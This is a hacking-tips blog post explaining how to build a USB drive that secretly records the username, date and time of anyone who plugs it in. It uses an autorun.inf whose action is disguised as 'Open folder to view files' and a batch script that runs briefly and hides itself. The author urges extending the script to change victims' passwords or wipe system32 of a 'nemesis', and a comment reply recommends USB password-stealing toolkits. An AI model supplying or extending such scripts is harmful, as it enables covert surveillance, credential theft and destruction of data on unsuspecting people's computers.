If you like this site, Don't forget to tell your friends and bookmark it :D . Thank You !!

Track USB drive users

Posted by X.E.R.O

I got an interesting email from my blog reader Reynold who asked me that how he can track users who used his USB Track USB drive usersdrive after he has given it to someone. He wanted to get the usernames of the accounts where the pendrive was used. I thought for a while and told him that he can achieve this feat either by using Trojans or a combination of Batch and Autorun files. However,you must advise users to not to format the pendrive in order for this to work.The second option of Batch files was easy and less suspicious.So Here is how I made it possible to get the usernames when the pendrive was plugged into the PC -

Create an autorun.inf file on the root of your flash drive/Pendrive with the following contents:

[autorun]
open=username.bat
action=Open folder to view files

Now, create a batch file called username.bat with the following contents:

@echo off
echo %username%>>users.dat
date /t>>users.dat
time /t>>users.dat
start "Explorer" %SystemRoot%\explorer.exe

 Create username.bat and autorun.inf in the root of your pendrive

NOTE : The Last Line of the code is optional which will open the explorer in a new window.

Save both file and you are good to go. Now whenever a user plugs your pendrive into their PC,it will display an autoplay option indicating that they have to click on the icon to open the drive to view its contents. A small DOS window will flash for a moment and then disappear.Now If you go into the root of the drive, you will find a new file called users.dat which will record the user names of all the users who have accessed your drive by clicking on the icon. You can open the DAT file using notepad and view its contents.

However..This is not a fool proof method as some geeks disable the autoplay option (or disable writing to USB drives) ,or they just bypass it by pressing RISHT SHIFT key when the pendrive is connected and hence their name will not be recorded or they can delete the users.dat file. But that said,it will work fine nevertheless :)

NOTE 2 : Umm..I think the above code is way too easy and harmless,why not to get creative and create a batch file which will even change the password ?(DOS NET commands) or even wipe out system32 of your nemesis (cacls command) ?

 

Keep Learning friends..I mean it :P

 

POSTED BY XERO . ALL RIGHTS RESERVED.

Follow us on Twitter Follow this blog

You would also like to read -



2 comments:

  1. mayur said...

    hiii rd
    in past i use five tools i forget there name one of them is firefoxtool with two bat file.
    we save it in pendrive. when we use pendrive in some pc it extracts all password and username.
    can u tell how it work

  2. X.E.R.O said...

    Hi Mayur
    The tool was a modded version of a collection of tools by NIRSOFT,but it only extracted passwords on the basis of their storage,ie if they were stored in the cache,or the sign in option was remembered by browsers or IMs or Outlook.
    My recco - go for switchblade if you can or like that of Gonzor,it will help you get even toughest of passwords.

    Thanks for Giving here a visit

    Cheers
    XERO

Post a Comment

Wanna Share something ? Comment here :)

Blog Directories

Rishabh Dangwal Computer Blogs - BlogCatalog Blog Directory Visit blogadda.com to discover Indian blogs Blog Directory TopOfBlogs BuzzCritic Top Technology blogs Technology Blogs Hacker Topsites Blogged.com PRO HACK PROHACK provides you tips n tricks,softwares,games,hacks,interview and dating tips and cool stuff that makes your cyber and real life more productive and fruitful.Be a Pro,Visit PROHACK Add to Technorati Favorites Increase Page Rank web stats Computers Top Blogs

simple hit counter
DigNow.net BE A PRO,VISIT PROHACK Pro Hack - Blogged PROHACK - Your technology navigator Technology (Blogs) - TOP.ORG Computers Blogs IndiBlogger - Where Indian Blogs Meet IBSN: Internet Blog Serial Number 3-0102-9058-9

blogarama.com Blogging Fusion Blog Directory Blog search directory Blog Search Engine Free Blog Directory LS Blogs All Direct Links Dmegs Web Directory BloggerNow.com mozilla firefox

675+ dedicated technology enthusiastic have subscribed to PROHACK..join the tribe :D